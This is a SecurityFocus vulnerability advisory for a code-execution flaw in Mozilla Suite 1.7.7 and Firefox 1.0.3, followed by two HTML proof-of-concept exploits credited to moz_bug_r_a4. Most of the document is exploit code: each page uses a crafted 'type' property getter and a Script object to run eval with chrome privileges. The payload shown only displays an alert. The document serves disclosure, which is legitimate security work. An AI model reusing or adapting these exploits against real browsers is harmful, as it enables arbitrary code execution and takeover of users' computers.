source: http://www.securityfocus.com/bid/13645/info

Mozilla Suite and Mozilla Firefox are affected by a code-execution vulnerability. This issue is due to a failure in the application to properly verify Document Object Model (DOM) property values.

An attacker may leverage this issue to execute arbitrary code with the privileges of the user that activated the vulnerable browser, ultimately facilitating a compromise of the affected computer.

This issue is reportedly a variant of BID 13233. Further details are scheduled to be released in the future; this BID will be updated accordingly.

<html>
<head>
<title>Proof-of-Concept for Firefox 1.0.3 - by moz_bug_r_a4</title> 
<body>
<script>
// it needs chrome privilege to get |Components.stack|
var code = "alert('Exploit!\\n\\n' + Components.stack);";
var evalCode = code.replace(/'/g, '"').replace(/\\/g, '\\\\');
var scriptCode = "arguments.callee.__parent__.eval('" + evalCode + "');'';";

var script = (function() {
function x() { new Object(); }
return new Script(scriptCode);
})();

document.body.__defineGetter__("type", function() {
return { toString : script };
});

var event = document.createEvent("Events");
event.initEvent("PluginNotFound", true, true);
document.body.dispatchEvent(event);
</script>
</body>

-----------------------------------------------------------------------------------------

<html>
<head>
<title>Proof-of-Concept for Mozilla 1.7.7 - by moz_bug_r_a4</title> 
<body>

<div id="d"></div>
<pre>
Click on the red box.
</pre>

<script>
// it needs chrome privilege to get |Components.stack|
var code = "alert('Exploit!\\n\\n' + Components.stack);";
var evalCode = code.replace(/'/g, '"').replace(/\\/g, '\\\\');
var scriptCode = "arguments.callee.__parent__.eval('" + evalCode + "');'';";

var script = (function() {
function x() { new Object(); }
return new Script(scriptCode);
})();

var xulns = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul";
var node = document.createElementNS(xulns, "input");

node.__defineGetter__("type", function() {
return { toString : script };
});

node.style.width = "100px";
node.style.height = "100px";
node.style.backgroundColor = "#f00";
document.getElementById("d").appendChild(node);
</script>
</body>
